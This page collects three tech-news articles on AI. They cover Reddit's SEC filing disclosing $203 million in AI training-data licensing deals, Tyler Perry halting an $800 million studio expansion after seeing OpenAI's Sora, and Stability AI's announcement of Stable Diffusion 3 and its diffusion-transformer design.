The last week saw word leak that Google had agreed to license Reddit’s massive corpus of billions of posts and comments to help train its large language models. Now, in a recent Securities and Exchange Commission filing, the popular online forum has revealed that it will bring in $203 million from that and other unspecified AI data licensing contracts over the next three years.

Reddit’s Form S-1—published by the SEC late Thursday ahead of the site’s planned stock IPO—says the company expects $66.4 million of that data-derived value from LLM companies to come during the 2024 calendar year. Bloomberg previously reported the Google deal to be worth an estimated $60 million a year, suggesting that the three-year deal represents the vast majority of its AI licensing revenue so far.

Google and other AI companies that license Reddit’s data will receive “continuous access to [Reddit’s] data API as well as quarterly transfers of Reddit data over the term of the arrangement,” according to the filing. That constant, real-time access is particularly valuable, the site writes in the filing, because “Reddit data constantly grows and regenerates as users come and interact with their communities and each other.”

“Why pay for the cow…?”

While Reddit sees data licensing to AI firms as an important part of its financial future, its filing also notes that free use of its data has already been “a foundational part of how many of the leading large language models have been trained.” The filing seems almost bitter in noting that “some companies have constructed very large commercial language models using Reddit data without entering into a license agreement with us.”

That acknowledgment highlights the still-murky legal landscape over AI companies’ penchant for scraping huge swathes of the public web for training purposes, a practice those companies defend as fair use. And Reddit seems well aware that AI models may continue to hoover up its posts and comments for free, even as it tries to sell that data to others.

“Some companies may decline to license Reddit data and use such data without license given its open nature, even if in violation of the legal terms governing our services,” the company writes. “While we plan to vigorously enforce against such entities, such enforcement activities could take years to resolve, result in substantial expense, and divert management’s attention and other resources, and we may not ultimately be successful.”

Yet the mere existence of AI data licensing agreements like Reddit’s may influence how legal battles over this kind of data scraping play out. As Ars’ Timothy Lee and James Grimmelmann noted in a recent legal analysis, the establishment of a settled licensing market can have a huge impact on whether courts consider a novel use of digitized data to be “fair use” under copyright law.

“The more [AI data licensing] deals like this are signed in the coming months, the easier it will be for the plaintiffs to argue that the ‘effect on the market’ prong of fair use analysis should take this licensing market into account,” Lee and Grimmelmann wrote.

And while Reddit sees LLMs as a new revenue opportunity, the site also sees their popularity as a potential threat. The S-1 filing notes that “some users are also turning to LLMs such as ChatGPT, Gemini, and Anthropic” for seeking information, putting them in the same category of Reddit competition as “Google, Amazon, YouTube, Wikipedia, X, and other news sites.”

After filing for its IPO in late 2021, reports suggest Reddit is aiming to hit the stock market next month officially. The company will offer users and moderators with sufficient karma and/or activity on the site the opportunity to participate in that IPO through a directed share program.

Advance Publications, which owns Ars Technica parent Condé Nast, is the largest shareholder of Reddit.

Reddit cashes in on AI gold rush with $203M in LLM training license fees Read More »

tyler-perry-puts-$800-million-studio-expansion-on-hold-because-of-openai’s-sora

Tyler Perry puts $800 million studio expansion on hold because of OpenAI’s Sora

The Synthetic Screen —

Perry: Mind-blowing AI video-generation tools “will touch every corner of our industry.”

Tyler Perry in 2022.

Enlarge / Tyler Perry in 2022.

In an interview with The Hollywood Reporter published Thursday, filmmaker Tyler Perry spoke about his concerns related to the impact of AI video synthesis on entertainment industry jobs. In particular, he revealed that he has suspended a planned $800 million expansion of his production studio after seeing what OpenAI’s recently announced AI video generator Sora can do.

“I have been watching AI very closely,” Perry said in the interview. “I was in the middle of, and have been planning for the last four years… an $800 million expansion at the studio, which would’ve increased the backlot a tremendous size—we were adding 12 more soundstages. All of that is currently and indefinitely on hold because of Sora and what I’m seeing. I had gotten word over the last year or so that this was coming, but I had no idea until I saw recently the demonstrations of what it’s able to do. It’s shocking to me.”

OpenAI, the company behind ChatGPT, revealed a preview of Sora’s capabilities last week. Sora is a text-to-video synthesis model, and it uses a neural network—previously trained on video examples—that can take written descriptions of a scene and turn them into high-definition video clips up to 60 seconds long. Sora caused shock in the tech world because it appeared to surpass other AI video generators in capability dramatically. It seems that a similar shock also rippled into adjacent professional fields. “Being told that it can do all of these things is one thing, but actually seeing the capabilities, it was mind-blowing,” Perry said in the interview.

Tyler Perry Studios, which the actor and producer acquired in 2015, is a 330-acre lot located in Atlanta and is one of the largest film production facilities in the United States. Perry, who is perhaps best known for his series of Madea films, says that technology like Sora worries him because it could make the need for building sets or traveling to locations obsolete. He cites examples of virtual shooting in the snow of Colorado or on the Moon just by using a text prompt. “This AI can generate it like nothing.” The technology may represent a radical reduction in costs necessary to create a film, and that will likely put entertainment industry jobs in jeopardy.

“It makes me worry so much about all of the people in the business,” he told The Hollywood Reporter. “Because as I was looking at it, I immediately started thinking of everyone in the industry who would be affected by this, including actors and grip and electric and transportation and sound and editors, and looking at this, I’m thinking this will touch every corner of our industry.”

You can read the full interview at The Hollywood Reporter, which did an excellent job of covering Perry’s thoughts on a technology that may end up fundamentally disrupting Hollywood. To his mind, AI tech poses an existential risk to the entertainment industry that it can’t ignore: “There’s got to be some sort of regulations in order to protect us. If not, I just don’t see how we survive.”

Perry also looks beyond Hollywood and says that it’s not just filmmaking that needs to be on alert, and he calls for government action to help retain human employment in the age of AI. “If you look at it across the world, how it’s changing so quickly, I’m hoping that there’s a whole government approach to help everyone be able to sustain.”

Tyler Perry puts $800 million studio expansion on hold because of OpenAI’s Sora Read More »

stability-announces-stable-diffusion-3,-a-next-gen-ai-image-generator

Stability announces Stable Diffusion 3, a next-gen AI image generator

Pics and it didn’t happen —

SD3 may bring DALL-E-like prompt fidelity to an open-weights image-synthesis model.

Stable Diffusion 3 generation with the prompt: studio photograph closeup of a chameleon over a black background.

Enlarge / Stable Diffusion 3 generation with the prompt: studio photograph closeup of a chameleon over a black background.

On Thursday, Stability AI announced Stable Diffusion 3, an open-weights next-generation image-synthesis model. It follows its predecessors by reportedly generating detailed, multi-subject images with improved quality and accuracy in text generation. The brief announcement was not accompanied by a public demo, but Stability is opening up a waitlist today for those who would like to try it.

Stability says that its Stable Diffusion 3 family of models (which takes text descriptions called “prompts” and turns them into matching images) range in size from 800 million to 8 billion parameters. The size range accommodates allowing different versions of the model to run locally on a variety of devices—from smartphones to servers. Parameter size roughly corresponds to model capability in terms of how much detail it can generate. Larger models also require more VRAM on GPU accelerators to run.

Since 2022, we’ve seen Stability launch a progression of AI image-generation models: Stable Diffusion 1.4, 1.5, 2.0, 2.1, XL, XL Turbo, and now 3. Stability has made a name for itself as providing a more open alternative to proprietary image-synthesis models like OpenAI’s DALL-E 3, though not without controversy due to the use of copyrighted training data, bias, and the potential for abuse. (This has led to lawsuits that are unresolved.) Stable Diffusion models have been open-weights and source-available, which means the models can be run locally and fine-tuned to change their outputs.

  • Stable Diffusion 3 generation with the prompt: Epic anime artwork of a wizard atop a mountain at night casting a cosmic spell into the dark sky that says “Stable Diffusion 3” made out of colorful energy.

  • An AI-generated image of a grandma wearing a “Go big or go home sweatshirt” generated by Stable Diffusion 3.

  • Stable Diffusion 3 generation with the prompt: Three transparent glass bottles on a wooden table. The one on the left has red liquid and the number 1. The one in the middle has blue liquid and the number 2. The one on the right has green liquid and the number 3.

  • An AI-generated image created by Stable Diffusion 3.

  • Stable Diffusion 3 generation with the prompt: A horse balancing on top of a colorful ball in a field with green grass and a mountain in the background.

  • Stable Diffusion 3 generation with the prompt: Moody still life of assorted pumpkins.

  • Stable Diffusion 3 generation with the prompt: a painting of an astronaut riding a pig wearing a tutu holding a pink umbrella, on the ground next to the pig is a robin bird wearing a top hat, in the corner are the words “stable diffusion.”

  • Stable Diffusion 3 generation with the prompt: Resting on the kitchen table is an embroidered cloth with the text ‘good night’ and an embroidered baby tiger. Next to the cloth there is a lit candle. The lighting is dim and dramatic.

  • Stable Diffusion 3 generation with the prompt: Photo of an 90’s desktop computer on a work desk, on the computer screen it says “welcome”. On the wall in the background we see beautiful graffiti with the text “SD3” very large on the wall.

As far as tech improvements are concerned, Stability CEO Emad Mostaque wrote on X, “This uses a new type of diffusion transformer (similar to Sora) combined with flow matching and other improvements. This takes advantage of transformer improvements & can not only scale further but accept multimodal inputs.”

Like Mostaque said, the Stable Diffusion 3 family uses diffusion transformer architecture, which is a new way of creating images with AI that swaps out the usual image-building blocks (such as U-Net architecture) for a system that works on small pieces of the picture. The method was inspired by transformers, which are good at handling patterns and sequences. This approach not only scales up efficiently but also reportedly produces higher-quality images.

Stable Diffusion 3 also utilizes “flow matching,” which is a technique for creating AI models that can generate images by learning how to transition from random noise to a structured image smoothly. It does this without needing to simulate every step of the process, instead focusing on the overall direction or flow that the image creation should follow.

A comparison of outputs between OpenAI's DALL-E 3 and Stable Diffusion 3 with the prompt,

Enlarge / A comparison of outputs between OpenAI’s DALL-E 3 and Stable Diffusion 3 with the prompt, “Night photo of a sports car with the text “SD3″ on the side, the car is on a race track at high speed, a huge road sign with the text ‘faster.'”

We do not have access to Stable Diffusion 3 (SD3), but from samples we found posted on Stability’s website and associated social media accounts, the generations appear roughly comparable to other state-of-the-art image-synthesis models at the moment, including the aforementioned DALL-E 3, Adobe Firefly, Imagine with Meta AI, Midjourney, and Google Imagen.

SD3 appears to handle text generation very well in the examples provided by others, which are potentially cherry-picked. Text generation was a particular weakness of earlier image-synthesis models, so an improvement to that capability in a free model is a big deal. Also, prompt fidelity (how closely it follows descriptions in prompts) seems to be similar to DALL-E 3, but we haven’t tested that ourselves yet.

While Stable Diffusion 3 isn’t widely available, Stability says that once testing is complete, its weights will be free to download and run locally. “This preview phase, as with previous models,” Stability writes, “is crucial for gathering insights to improve its performance and safety ahead of an open release.”

Stability has been experimenting with a variety of image-synthesis architectures recently. Aside from SDXL and SDXL Turbo, just last week, the company announced Stable Cascade, which uses a three-stage process for text-to-image synthesis.

Listing image by Emad Mostaque (Stability AI)

Stability announces Stable Diffusion 3, a next-gen AI image generator Read More »